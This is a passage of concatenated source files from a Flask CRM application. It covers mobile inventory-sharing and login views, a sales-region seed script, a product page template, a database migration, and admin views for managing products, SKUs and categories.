stocks_share(area_id):\n categories = load_categories()\n if area_id == 0:\n users = [current_user]\n user_ids = [user.id for user in users]\n else:\n area = SalesAreaHierarchy.query.get_or_404(area_id)\n users = []\n for sarea in SalesAreaHierarchy.query.filter_by(parent_id=area.id).all():\n for ssarea in SalesAreaHierarchy.query.filter_by(parent_id=sarea.id).all():\n users.extend(ssarea.users.all())\n user_ids = [user.id for user in users]\n batch_infos = []\n\n inventories = load_users_inventories({\"user_ids\": user_ids, \"inv_type\": \"2\"})\n for sku_and_invs in inventories:\n sku_option = \"\"\n sku = sku_and_invs.get('sku')\n for option in sku.get('options'):\n for key, value in option.items():\n sku_option = \"%s %s\" % (sku_option, value)\n batch = sku_and_invs.get('inv')\n user = User.query.get(batch.get('user_id'))\n batch_infos.append({\"product_name\": \"%s: %s\" % (sku.get('product_info').get('name'), sku_option),\n \"category_name\": sku.get('category_info').get('category_name'),\n \"user\": \"公司\" if user is None else user.nickname,\n \"production_date\": batch.get('production_date'),\n \"batch_no\": batch.get('batch_no'),\n \"batch_id\": batch.get('inv_id'),\n \"created_at\": batch.get('created_at'),\n \"sku_code\": sku.get('code'),\n \"stocks\": batch.get('stocks')})\n return render_template('mobile/share_index.html', categories=categories, users=users, batch_infos=batch_infos)\n\n\[email protected]('/mobile/share_index_for_order/<int:area_id>', methods=['GET'])\ndef stocks_share_for_order(area_id):\n categories = load_categories()\n users = []\n if area_id == 0:\n users = [current_user.id]\n else:\n area = SalesAreaHierarchy.query.get_or_404(area_id)\n users.append(0)\n for sarea in SalesAreaHierarchy.query.filter_by(parent_id=area.id).all():\n for ssarea in SalesAreaHierarchy.query.filter_by(parent_id=sarea.id).all():\n users.extend([user.id for user in ssarea.users.all()])\n current_app.logger.info(users)\n batch_infos = []\n\n inventories = load_users_inventories({\"user_ids\": users, \"inv_type\": \"2\"})\n for sku_and_invs in inventories:\n sku_option = \"\"\n sku = sku_and_invs.get('sku')\n if request.args.get(\"sku_code\", '') == '' or (\n request.args.get(\"sku_code\", '') != '' and sku.get('code') == request.args.get(\"sku_code\")):\n for option in sku.get('options'):\n for key, value in option.items():\n sku_option = \"%s %s\" % (sku_option, value)\n batch = sku_and_invs.get(\"inv\")\n user = User.query.get(batch.get('user_id'))\n batch_infos.append({\"product_name\": sku.get('product_info').get('name'),\n \"category_name\": sku.get('category_info').get('category_name'),\n \"sku_specification\": sku_option,\n \"thumbnail\": sku.get('thumbnail'),\n \"user\": \"公司\" if user is None else user.nickname,\n \"city\": \"公司工程剩余库存\" if user is None else \"%s工程剩余库存\" % user.sales_areas.first().name,\n \"sku_id\": sku.get('sku_id'),\n \"production_date\": batch.get('production_date'),\n \"batch_no\": batch.get('batch_no'),\n \"batch_id\": batch.get('inv_id'),\n \"sku_code\": sku.get('code'),\n \"price\": batch.get('price'),\n \"stocks\": batch.get('stocks')})\n\n return render_template('mobile/share_index_for_order.html', batch_infos=batch_infos, area_id=area_id,\n categories=categories)\n\n\[email protected]('/mobile/upload_share_index', methods=['GET'])\ndef upload_share_index():\n categories = load_categories()\n return render_template('mobile/upload_share_index.html', categories=categories)\n\n\n# 原route格式(/mobile/new_share_inventory/<product_name>/<sku_id>)\n# product_name中带斜杠'/'时, 会使url解析错误, 因此传参改为url后置参数\[email protected]('/mobile/new_share_inventory/', methods=['GET', 'POST'])\ndef new_share_inventory():\n product_name = request.args.get('product_name')\n sku_id = request.args.get('sku_id')\n if request.method == 'POST':\n if not current_user.is_dealer():\n return flash_and_redirect(url_for('new_share_inventory', product_name=product_name, sku_id=sku_id))\n params = {\n 'production_date': request.form.get('production_date', ''),\n 'stocks': request.form.get('stocks', ''),\n 'price': request.form.get('price')\n }\n production_date = request.form.get('production_date', '')\n price = request.form.get('price')\n stocks = request.form.get('stocks', '')\n if production_date == '':\n flash('生产日期不能为空', 'danger')\n return render_template('mobile/new_share_inventory.html', sku_id=sku_id, product_name=product_name,\n params=params)\n if stocks == '':\n flash('库存数量不能为空', 'danger')\n return render_template('mobile/new_share_inventory.html', sku_id=sku_id, product_name=product_name,\n params=params)\n if not is_number(stocks):\n flash('库存数量必须为数字', 'danger')\n return render_template('mobile/new_share_inventory.html', sku_id=sku_id, product_name=product_name,\n params=params)\n if Decimal(stocks) < Decimal(\"1\"):\n flash('库存数量不能小于1', 'danger')\n return render_template('mobile/new_share_inventory.html', sku_id=sku_id, product_name=product_name,\n params=params)\n if price == '':\n flash('价格不能为空', 'danger')\n return render_template('mobile/new_share_inventory.html', sku_id=sku_id, product_name=product_name,\n params=params)\n if not is_number(price):\n flash('价格必须为数字', 'danger')\n return render_template('mobile/new_share_inventory.html', sku_id=sku_id, product_name=product_name,\n params=params)\n if Decimal(price) <= Decimal(\"0\"):\n flash('价格必须大于0', 'danger')\n return render_template('mobile/new_share_inventory.html', sku_id=sku_id, product_name=product_name,\n params=params)\n upload_files = request.files.getlist('pic_files[]')\n filenames = []\n for file in upload_files:\n file_path = save_upload_file(file)\n if file_path is not None:\n filenames.append(file_path)\n if len(filenames) == 0:\n flash('材料图片必须上传', 'danger')\n return render_template('mobile/new_share_inventory.html', sku_id=sku_id, product_name=product_name,\n params=params)\n sku = get_sku(sku_id)\n options = []\n for option in sku.get('options'):\n for key, value in option.items():\n options.append(value)\n si = ShareInventory(\n applicant_id=current_user.id,\n status=\"新申请待审核\",\n batch_no='BT%s%s' % (datetime.datetime.now().strftime('%y%m%d%H%M%S'), 2),\n product_name=product_name,\n sku_id=sku_id,\n sku_code=sku.get('code'),\n sku_option=\" \".join(options),\n production_date=production_date,\n stocks=stocks,\n price=price,\n pic_files=filenames\n )\n db.session.add(si)\n db.session.commit()\n flash('已申请,等待审核', 'success')\n return redirect(url_for('share_inventory_list'))\n return render_template('mobile/new_share_inventory.html', sku_id=sku_id, product_name=product_name, params={})\n\n\[email protected]('/mobile/share_inventory_list', methods=['GET'])\ndef share_inventory_list():\n page_size = int(request.args.get('page_size', 5))\n page_index = int(request.args.get('page', 1))\n sis = ShareInventory.query.filter_by(applicant_id=current_user.id).order_by(ShareInventory.created_at.desc()) \\\n .paginate(page_index, per_page=page_size, error_out=True)\n return render_template('mobile/share_inventory_list.html', sis=sis)\n\n\[email protected]('/mobile/share_inventory_show/<int:sid>', methods=['GET'])\ndef share_inventory_show(sid):\n si = ShareInventory.query.get_or_404(sid)\n return render_template('mobile/share_inventory_show.html', si=si)\n\n\[email protected]('/mobile/<int:id>/delete_inv', methods=['GET'])\ndef delete_inv(id):\n if not current_user.is_dealer():\n return flash_and_redirect()\n response = delete_inventory(id)\n if response.status_code == 200:\n flash('库存批次删除成功', 'success')\n else:\n flash('库存批次删除失败', 'danger')\n return redirect(url_for('stocks_share', area_id=0))\n\n\n# --- mobile user---\[email protected]('/mobile/user/login', methods=['GET', 'POST'])\ndef mobile_user_login():\n # 允许所有用户登入\n if current_user.is_authenticated:\n app.logger.info(\"已登入用户[%s],重定向至mobile_index\" % (current_user.nickname))\n return redirect(url_for('mobile_index'))\n\n if request.method == 'POST':\n try:\n form = AccountLoginForm(request.form, meta={'csrf_context': session})\n if form.validate() is False:\n raise ValueError(\"\")\n\n # 微信只能经销商登入\n user = User.login_verification(form.email.data, form.password.data, None)\n if user is None:\n raise ValueError(\"用户名或密码错误\")\n\n login_valid_errmsg = user.check_can_login()\n if not login_valid_errmsg == \"\":\n raise ValueError(login_valid_errmsg)\n\n login_user(user)\n app.logger.info(\"mobile login success [%s]\" % (user.nickname))\n # 直接跳转至需访问页面\n if session.get(\"login_next_url\"):\n next_url = session.pop(\"login_next_url\")\n else:\n next_url = url_for('mobile_index')\n return redirect(next_url)\n except Exception as e:\n app.logger.info(\"mobile login failure [%s]\" % (e))\n flash(e)\n return render_template('mobile/user_login.html', form=form)\n else:\n # 已在拦截中处理\n # if request.args.get(\"code\") is not None:\n # try:\n # openid = WechatCall.get_open_id_by_code(request.args.get(\"code\"))\n # wui = WechatUserInfo.query.filter_by(open_id=openid, is_active=True).first()\n # if wui is not None:\n # exists_binding_user = User.query.filter_by(id=wui.user_id).first()\n # if exists_binding_user is not None:\n # login_user(exists_binding_user)\n # app.logger.info(\"binding user login [%s] - [%s]\" % (openid, exists_binding_user.nickname))\n # return redirect(url_for('mobile_index'))\n # except Exception:\n # pass\n\n form = AccountLoginForm(meta={'csrf_context': session})\n return render_template('mobile/user_login.html', form=form)\n\n\[email protected]('/mobile/user/logout')\ndef mobile_user_logout():\n logout_user()\n return redirect(url_for('mobile_user_login'))\n\n\[email protected]('/mobile/user/info/<int:user_id>')\ndef mobile_user_info(user_id):\n if user_id != current_user.id:\n flash(\"非法提交,请通过正常页面进入\")\n return redirect(url_for('mobile_index'))\n\n u = User.query.filter_by(id=user_id).first()\n if u is None:\n return redirect(url_for('mobile_index'))\n\n form = UserInfoForm(obj=u, user_type=u.user_or_origin, meta={'csrf_context': session})\n\n if len(u.user_infos) == 0:\n pass\n else:\n ui = u.user_infos[0]\n form.name.data = ui.name\n form.address.data = ui.address\n form.phone.data = ui.telephone\n form.title.data = ui.title\n if u.is_join_dealer():\n form.join_dealer.data = \"加盟经销商\"\n else:\n form.join_dealer.data = \"非加盟经销商\"\n\n form.user_type.data = u.get_user_type_name()\n if u.user_or_origin == 3:\n form.join_dealer.data = \"\"\n\n if u.sales_areas.first() is not None:\n form.sale_range.data = \",\".join([sa.name for sa in u.sales_areas.order_by(SalesAreaHierarchy.level_grade.asc(),\n SalesAreaHierarchy.parent_id.asc())])\n\n return render_template('mobile/user_info.html', form=form)\n\n\[email protected]('/mobile/user/password_update', methods=['POST'])\ndef mobile_user_password_update():\n app.logger.info(\"into mobile_user_password_update\")\n try:\n form = BaseCsrfForm(request.form, meta={'csrf_context': session})\n if form.validate() is False:\n raise ValueError(\"非法提交,请通过正常页面进行修改\")\n\n if request.form.get(\"email\") != current_user.email:\n raise ValueError(\"非法提交,请通过正常页面进行修改\")\n\n User.update_password(request.form.get(\"email\"),\n request.form.get(\"password_now\"),\n request.form.get(\"password_new\"),\n request.form.get(\"password_new_confirm\"),\n current_user.user_or_origin)\n\n for wui in WechatUserInfo.query.filter_by(user_id=current_user.id, is_active=True).all():\n wui.is_active = False\n wui.save()\n\n flash(\"密码修改成功,如有绑定微信帐号,需要重新绑定\")\n except Exception as e:\n flash(\"密码修改失败: %s\" % e)\n\n return redirect(url_for('mobile_user_info', user_id=current_user.id))\n" }, { "alpha_fraction": 0.663430392742157, "alphanum_fraction": 0.6699029207229614, "avg_line_length": 33.22222137451172, "blob_id": "8f508db839a88c3a005f102d4a81a6b24bbc6d99", "content_id": "f698ee9708f5268a1cee5b5fb6d536a87dcfac86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 355, "license_type": "no_license", "max_line_length": 72, "num_lines": 9, "path": "/regional_seeds.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "from application.models import *\nzg = SalesAreaHierarchy(name=\"中国\", level_grade=1)\ndb.session.add(zg)\ndb.session.commit()\n\nfor name in [\"华东区\", \"华南区\", \"华中区\", \"华北区\", \"东北区\", \"西北区\", \"西南区\"]:\n item = SalesAreaHierarchy(name=name, level_grade=2, parent_id=zg.id)\n db.session.add(item)\n db.session.commit()\n\n" }, { "alpha_fraction": 0.5468097925186157, "alphanum_fraction": 0.5509839057922363, "avg_line_length": 29.364486694335938, "blob_id": "049b670e7ae2097e780fb7dc4e58757e1feb1464", "content_id": "9c08ae1351a5a4204b8db40275a91238fceee168", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 3436, "license_type": "no_license", "max_line_length": 153, "num_lines": 107, "path": "/application/templates/mobile/product_show.html", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "{% extends 'mobile_base.html' %}\r\n{% from 'macros/mobile_partial.html' import header %}\r\n{% block content %}\r\n{{ header('产品展示') }}\r\n\r\n<div class=\"main-content\">\r\n\r\n\t<div id=\"myCarousel\" class=\"carousel slide\">\r\n\t\t<ol class=\"carousel-indicators\">\r\n\t\t\t<li data-target=\"#myCarousel\" data-slide-to=\"0\" class=\"active\"></li>\r\n\t\t\t<li data-target=\"#myCarousel\" data-slide-to=\"1\"></li>\r\n\t\t</ol> \r\n\t\t<div class=\"carousel-inner\">\r\n\t\t\t<div class=\"item active\">\r\n\t\t\t\t<div>\r\n\t\t\t\t\t<a style=\"display: block; \">\r\n\t\t\t\t\t\t<img src=\"{{ product.get('images')[0] or '/static/images/alt.jpg' }}\" class=\"full-img\" />\r\n\t\t\t\t\t</a>\r\n\t\t\t\t</div>\r\n\t\t\t</div>\r\n\t\t\t<div class=\"item\">\r\n\t\t\t\t<div >\r\n\t\t\t\t\t<a style=\"display: block; \">\r\n\t\t\t\t\t\t<img src=\"{{ product.get('images')[1] or product.get('images')[0] or '/static/images/alt.jpg' }}\" class=\"full-img\" />\r\n\t\t\t\t\t</a>\r\n\t\t\t\t</div>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t</div>\r\n\t\r\n\t<div class=\"wrapper\">\r\n\t\t<div class=\"text\">\r\n\t\t\t<p class=\"text-title\">{{ product.get('name') }}</p>\r\n\t\t</div>\r\n\r\n\t\t<!-- sku thumbnails display area -->\r\n\t\t<div class=\"clearfix texture\">\r\n\t\t{% for sku in skus.get('skus') %}\r\n\t\t\t{% if not sku.get('isvalid') == 'NO' %}\r\n\t\t\t<div class=\"col-3-gap texture-block\">\r\n\t\t\t\t<img src=\"{{ sku.get('thumbnail') }}\" class=\"full-img\">\r\n\t\t\t\t<p class=\"text-center light-font-sm\">{{ sku.get('code') }}</p>\r\n\t\t\t</div>\r\n\t\t\t<div class=\"modal fade\" id=\"texture1\">\r\n\t\t\t\t<div class=\"modal-dialog texture-dialog\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"myModalLabel\" aria-hidden=\"true\">\r\n\t\t\t\t\t<div class=\"modal-content\">\r\n\t\t\t\t\t\t<div class=\"modal-body\">\r\n\t\t\t\t\t\t\t<img src=\"{{ sku.get('thumbnail') }}\" class=\"full-img\">\r\n\t\t\t\t\t\t\t{% if sku.get('memo') %}\r\n\t\t\t\t\t\t\t<p class=\"text-center text-md text-gray\">{{ sku.get('memo') }}</p>\r\n\t\t\t\t\t\t\t{% endif %}\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t</div><!-- /.modal-content -->\r\n\t\t\t\t</div><!-- /.modal -->\r\n\t\t\t</div>\r\n\t\t\t{% endif %}\r\n\t\t{% endfor %}\r\n\t\t</div>\r\n\t\t<p class=\"text-content text-sm\"><i class=\"glyphicon glyphicon-exclamation-sign\" style=\"top:2px\"></i> 展示图片可能存在色差,实物以样册为准 </p>\r\n\t</div>\r\n\r\n\t<div class=\"wrapper\">\r\n\t\t<div class=\"text\">\r\n\t\t\t<p class=\"text-title\">产品属性</p>\r\n\t\t\t<p class=\"text-content text-indent-1 text-sm\">卷长: {{ product.get('length') }} m</p>\r\n\t\t\t<p class=\"text-content text-indent-1 text-sm\">卷宽: {{ product.get('width') }} m</p>\r\n\t\t\t{% for options in option_sorted %}\r\n\t\t\t\t<p class=\"text-content text-indent-1 text-sm\">\r\n\t\t\t\t\t{{ options[0].get('feature_name') }}:\r\n\t\t\t\t\t{% for option in options %}{{ '' if loop.first else '/ ' }}{{ option.get('option_name') }}{% endfor %}\r\n\t\t\t\t</p>\r\n\t\t\t{% endfor %}\r\n\t\t</div>\r\n \t</div>\r\n\r\n\r\n\t<div class=\"wrapper\">\r\n\t\t<div class=\"text\">\r\n\t\t\t<p class=\"text-title\">产品描述</p>\r\n\t\t</div>\r\n\t\t<div class=\"ck-wrapper\">\r\n\t\t\t{{ product.get('description')|safe }}\r\n\t\t</div>\r\n \t</div>\r\n\t\r\n\t<div class=\"wrapper\">\r\n\t\t<div class=\"text\">\r\n\t\t\t<p class=\"text-title\">相关案例</p>\r\n\t\t</div>\r\n\t\t<div class=\"case-block\">\r\n\t\t{% for content in contents %}\r\n\t\t\t<div class=\"col-6-gap case\">\r\n\t\t\t\t<a href=\"{{ url_for('mobile_case_content_show', id = content.id) }}\" style=\"display:block\"><img src=\"{{ content.title_image }}\" class=\"full-img\"></a>\r\n\t\t\t\t<p class=\"text-center light-font-md\">{{ content.name }}</p>\r\n\t\t\t</div>\r\n\t\t{% endfor %}\r\n\t\t</div>\r\n\t</div>\r\n\r\n</div>\r\n<script>\r\n\t$(\".texture-block\").on(\"click\",function(){\r\n\t\t$(this).next('.modal').modal(\"show\");\r\n\t})\t\t\r\n</script>\r\n\r\n{% endblock %}" }, { "alpha_fraction": 0.6458704471588135, "alphanum_fraction": 0.6726084351539612, "avg_line_length": 33.34693908691406, "blob_id": "96f54dc522d769c440e48f19db58f2b56a71e40d", "content_id": "d8de612a107b7c128c415994aec5bea7fb110730", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1683, "license_type": "no_license", "max_line_length": 79, "num_lines": 49, "path": "/migrations/versions/ad50d4738049_add_material_application_model.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add material application model\n\nRevision ID: ad50d4738049\nRevises: c3b57fa131bc\nCreate Date: 2017-02-23 17:16:09.465503\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'ad50d4738049'\ndown_revision = 'c3b57fa131bc'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('material_application',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('app_no', sa.String(length=30), nullable=True),\n sa.Column('status', sa.String(length=50), nullable=True),\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.Column('updated_at', sa.DateTime(), nullable=True),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('app_no')\n )\n op.create_table('material_application_content',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=100), nullable=True),\n sa.Column('number', sa.Integer(), nullable=True),\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.Column('updated_at', sa.DateTime(), nullable=True),\n sa.Column('application_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['application_id'], ['material_application.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('material_application_content')\n op.drop_table('material_application')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.5748313069343567, "alphanum_fraction": 0.5783582329750061, "avg_line_length": 40.01467514038086, "blob_id": "126a9d5e9c24d7dc46e9616c6073dd47998a7210", "content_id": "e8c537778422ef19ceee08d3569e169ce1dbcaca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 19968, "license_type": "no_license", "max_line_length": 118, "num_lines": 477, "path": "/application/product/views.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom flask import Blueprint, flash, redirect, render_template, request, url_for\nfrom .. import db\nfrom ..helpers import save_upload_file, delete_file, clip_image\nfrom .api import *\nfrom ..models import Content, ContentCategory\n\nproduct = Blueprint('product', __name__, template_folder='templates')\n\nproduct_image_size = (379, 226)\nsku_image_size = (290, 290)\n\n\[email protected]('/index/<int:category_id>')\ndef index(category_id):\n products = load_products(category_id, only_valid=False)\n category = load_category(category_id)\n return render_template('product/index.html', products=products, category=category)\n\n\[email protected]('/new/<int:category_id>', methods=['GET', 'POST'])\ndef new(category_id):\n if request.method == 'POST':\n option_ids = request.form.getlist('option_ids[]')\n image_files = [request.files.get('image_file_0'), request.files.get('image_file_1')]\n product_image_links = []\n for image_file in image_files:\n if image_file:\n image_path = save_upload_file(image_file)\n if image_path:\n clip_image((app.config['APPLICATION_DIR'] + image_path), size=product_image_size)\n else:\n image_path = ''\n product_image_links.append(image_path)\n product_info = {\n 'name': request.form.get('name'),\n 'code': request.form.get('code'),\n 'length': request.form.get('length'),\n 'width': request.form.get('width'),\n 'description': request.form.get('description'),\n 'product_image_links': product_image_links,\n 'case_ids': [],\n 'options_id': [str(option_id) for option_id in option_ids]\n }\n data = {\n 'product_category_id': str(category_id),\n 'product_info': product_info\n }\n response = create_product(data)\n if response.status_code == 201:\n return redirect(url_for('product.sku_index', product_id=int(response.json().get('product_id'))))\n return redirect(url_for('product.index', category_id=category_id))\n category = load_category(category_id)\n features = load_features()\n return render_template('product/new.html', category=category, features=features)\n\n\[email protected]('/relate_cases/<int:product_id>', methods=['GET', 'POST'])\ndef relate_cases(product_id):\n _product = load_product(product_id)\n contents = ContentCategory.query.filter(ContentCategory.name == '案例展示').first().contents\n if request.method == 'POST':\n case_ids = [int(case_id) for case_id in request.form.getlist('case_ids[]')]\n data = {'case_ids': case_ids}\n response = update_product(_product.get('product_id'), data=data)\n if response.status_code == 200:\n for content in contents:\n if content.id in case_ids:\n if product_id not in content.product_ids:\n temp = list(content.product_ids)\n temp.append(product_id)\n content.product_ids = temp\n db.session.add(content)\n else:\n if product_id in content.product_ids:\n temp = list(content.product_ids)\n temp.remove(product_id)\n content.product_ids = temp\n db.session.add(content)\n db.session.commit()\n flash('关联案例修改成功', 'success')\n else:\n flash('关联案例修改失败', 'danger')\n return redirect(url_for('product.category_index'))\n return render_template('product/relate_cases.html', product=_product, contents=contents)\n\n\[email protected]('/<int:id>')\ndef show(id):\n category = load_category(request.args.get('category_id'))\n _product = load_product(id, option_sorted=True)\n skus = load_skus(id)\n contents = Content.query.filter(Content.id.in_(_product.get('case_ids')))\n option_sorted = _product.get('option_sorted')\n return render_template('product/show.html', category=category, product=_product, skus=skus, contents=contents,\n option_sorted=option_sorted)\n\n\[email protected]('/<int:id>/edit', methods=['GET', 'POST'])\ndef edit(id):\n category_id = request.args.get('category_id')\n if not category_id:\n return redirect(url_for('product.category_index'))\n _product = load_product(id)\n category = load_category(category_id)\n features = load_features()\n option_ids = [x.get('option_id') for x in load_product_options(_product.get('product_id')).get('options')]\n if request.method == 'POST':\n option_ids = request.form.getlist('option_ids[]')\n product_image_links = _product.get('images') or []\n if request.files:\n for param in request.files:\n if 'image_file' in param and request.files.get(param):\n _index = int(param.rsplit('_', 1)[1])\n if len(product_image_links) < _index + 1:\n for i in range(_index+1-len(product_image_links)):\n product_image_links.append('')\n image_path = save_upload_file(request.files.get(param))\n if image_path:\n clip_image((app.config['APPLICATION_DIR'] + image_path), size=product_image_size)\n if product_image_links[_index]:\n delete_file(product_image_links[_index])\n product_image_links[_index] = image_path\n data = {\n 'name': request.form.get('name'),\n 'length': request.form.get('length'),\n 'width': request.form.get('width'),\n 'description': request.form.get('description'),\n 'product_image_links': product_image_links,\n 'options_id': [str(option_id) for option_id in option_ids],\n 'isvalid': request.form.get('isvalid')\n }\n response = update_product(id, data=data)\n if response.status_code == 200:\n flash('产品修改成功', 'success')\n else:\n flash('产品修改失败: %s' % response.json(), 'danger')\n return redirect(url_for('product.index', category_id=category_id))\n return render_template('product/edit.html', product=_product, category=category, features=features,\n option_ids=option_ids)\n\n\[email protected]('/<int:id>/delete', methods=['POST'])\ndef delete(id):\n if request.method == 'POST':\n category_id = request.args.get('category_id')\n response = delete_product(id)\n if response.status_code == 200:\n flash('产品删除成功', 'success')\n else:\n flash('产品删除失败', 'danger')\n if category_id:\n return redirect(url_for('product.index', category_id=category_id))\n return redirect(url_for('product.category_index'))\n\n\[email protected]('/sku/index/<int:product_id>')\ndef sku_index(product_id):\n skus = load_skus(product_id)\n # _product = load_product(product_id)\n features = load_features()\n option_ids = [x.get('option_id') for x in load_product_options(product_id).get('options')]\n return render_template('product/sku/index.html', skus=skus, product_id=product_id,\n features=features, option_ids=option_ids)\n\n\[email protected]('/sku/new/<int:product_id>', methods=['GET', 'POST'])\ndef sku_new(product_id):\n if request.method == 'POST':\n option_ids = request.form.getlist('option_ids[]')\n image_file = request.files.get('image_file')\n if image_file:\n image_path = save_upload_file(image_file)\n if image_path:\n clip_image((app.config['APPLICATION_DIR'] + image_path), size=sku_image_size)\n else:\n image_path = ''\n sku_infos = []\n sku_info = {\n 'code': request.form.get('code'),\n 'barcode': request.form.get('barcode') or None,\n 'hscode': request.form.get('hscode') or None,\n 'weight': request.form.get('weight') or None,\n 'thumbnail': image_path,\n 'name': request.form.get('name') or None,\n 'memo': request.form.get('memo') or None,\n 'options_id': [str(option_id) for option_id in option_ids]\n }\n sku_infos.append(sku_info)\n data = {\n 'product_id': str(product_id),\n 'sku_infos': sku_infos\n }\n response = create_sku(data)\n if response.status_code == 201:\n flash('SKU创建成功', 'success')\n else:\n flash('SKU创建失败', 'danger')\n return redirect(url_for('product.sku_index', product_id=product_id))\n _product = load_product(product_id, option_sorted=True)\n option_sorted = _product.get('option_sorted')\n return render_template('product/sku/new.html', product=_product, option_sorted=option_sorted)\n\n\[email protected]('/sku/<int:id>/edit', methods=['GET', 'POST'])\ndef sku_edit(id):\n product_id = request.args.get('product_id')\n if not product_id:\n return redirect(url_for('product.category_index'))\n sku = load_sku(product_id=product_id, sku_id=id)\n if request.method == 'POST':\n option_ids = []\n for option_id in request.form.getlist('option_ids[]'):\n if option_id:\n option_ids.append(option_id)\n image_file = request.files.get('image_file')\n if image_file:\n image_path = save_upload_file(image_file)\n if image_path:\n clip_image((app.config['APPLICATION_DIR'] + image_path), size=sku_image_size)\n if sku.get('thumbnail'):\n delete_file(sku.get('thumbnail'))\n else: \n image_path = sku.get('thumbnail')\n data = {\n 'barcode': request.form.get('barcode'),\n 'hscode': request.form.get('hscode'),\n 'weight': request.form.get('weight') or None,\n 'isvalid': request.form.get('isvalid'),\n 'thumbnail': image_path,\n 'name': request.form.get('name'),\n 'memo': request.form.get('memo'),\n 'options_id': [str(option_id) for option_id in option_ids] or None\n }\n if not request.form.get('code') == sku.get('code'):\n data['code'] = request.form.get('code')\n response = update_sku(sku_id=id, data=data)\n if response.status_code == 200:\n flash('SKU修改成功', 'success')\n else:\n flash('SKU修改失败', 'danger')\n return redirect(url_for('product.sku_index', product_id=product_id))\n _product = load_product(product_id, option_sorted=True)\n option_sorted = _product.get('option_sorted')\n option_set = []\n for option in sku.get('options'):\n for key in option:\n option_set.append([key, option[key]])\n return render_template('product/sku/edit.html', sku=sku, product=_product, option_set=option_set,\n option_sorted=option_sorted)\n\n\[email protected]('/sku/<int:id>/delete', methods=['POST'])\ndef sku_delete(id):\n product_id = request.args.get('product_id')\n if request.method == 'POST':\n response = delete_sku(id)\n if response.status_code == 200:\n flash('SKU删除成功', 'success')\n else:\n flash('SKU删除失败', 'danger')\n if product_id:\n return redirect(url_for('product.sku_index', product_id=product_id))\n return redirect(url_for('product.category_index'))\n\n\"\"\"\[email protected]('/sku/batch_new/<int:product_id>', methods = ['GET', 'POST'])\ndef sku_batch_new(product_id):\n if request.method == 'POST':\n if request.form.get('sku_count'):\n sku_infos = []\n for i in range(int(request.form.get('sku_count'))):\n if request.form.get('%s_code' % i) and request.form.get('%s_barcode' % i):\n option_ids = request.form.getlist('%s_option_ids[]' % i)\n image_file = request.files.get('image_file')\n if image_file:\n image_path = save_upload_file(image_file)\n else:\n image_path = '' \n sku_info = {\n 'code': str(request.form.get('%s_code' % i)),\n 'price': str(request.form.get('%s_price' % i)),\n 'stocks': str(request.form.get('%s_stocks' % i)),\n 'barcode': str(request.form.get('%s_barcode' % i)),\n 'hscode': str(request.form.get('%s_hscode' % i)),\n 'weight': str(request.form.get('%s_weight' % i)),\n 'thumbnail': image_path,\n 'options_id': [str(id) for id in option_ids]\n }\n sku_infos.append(sku_info)\n data = {\n 'product_id': str(product_id),\n 'sku_infos': sku_infos\n }\n response = create_sku(data)\n return redirect(url_for('product.sku_index', product_id = product_id))\n product = load_product(product_id)\n options = product.get('options')\n # first, find out all feature name\n feature_list = []\n for option in options:\n if not option.get('feature_name') in feature_list:\n feature_list.append(option.get('feature_name'))\n # second, sort options by feature list\n option_sorted_by_feature = []\n for feature in feature_list:\n group = []\n for option in options:\n if option.get('feature_name') == feature:\n group.append(option)\n option_sorted_by_feature.append(group)\n # third, combine options with different feature name\n num_arr = [len(i) for i in option_sorted_by_feature]\n x = []\n for i in range(int(''.join(map(str, num_arr)))):\n v = True\n for j in zip(list(str(i).zfill(len(option_sorted_by_feature))), num_arr):\n if int(j[0]) >= j[1]:\n v = False\n if v == True:\n x.append(list(map(int, list(str(i).zfill(len(num_arr))))))\n option_combinations = []\n for i in x:\n temp = []\n for j,k in enumerate(i):\n temp.append(option_sorted_by_feature[j][k])\n option_combinations.append(temp)\n\n return render_template('product/sku/batch_new.html', product = product, option_combinations = option_combinations)\n\"\"\"\n\n\[email protected]('/category/index')\ndef category_index():\n categories = load_categories()\n return render_template('product/category/index.html', categories=categories)\n\n\[email protected]('/category/new', methods=['GET', 'POST'])\ndef category_new():\n if request.method == 'POST':\n category_names = request.form.getlist('names[]')\n for name in category_names:\n if len(name) == 0:\n flash('Please input correct names', 'danger')\n return render_template('product/category/new.html')\n data = {'category_names': category_names}\n response = create_category(data)\n if response.status_code == 201:\n flash('产品目录创建成功', 'success')\n else:\n flash('产品目录创建失败', 'danger')\n return redirect(url_for('product.category_index'))\n return render_template('product/category/new.html')\n\n\[email protected]('/category/<int:id>/edit', methods=['GET', 'POST'])\ndef category_edit(id):\n category = load_category(id)\n if request.method == 'POST':\n name = request.form.get('name')\n data = {'category_name': name}\n response = update_category(category.get('category_id'), data=data)\n if response.status_code == 200:\n flash('产品目录修改成功', 'success')\n else:\n flash('产品目录修改失败', 'danger')\n return redirect(url_for('product.category_index'))\n 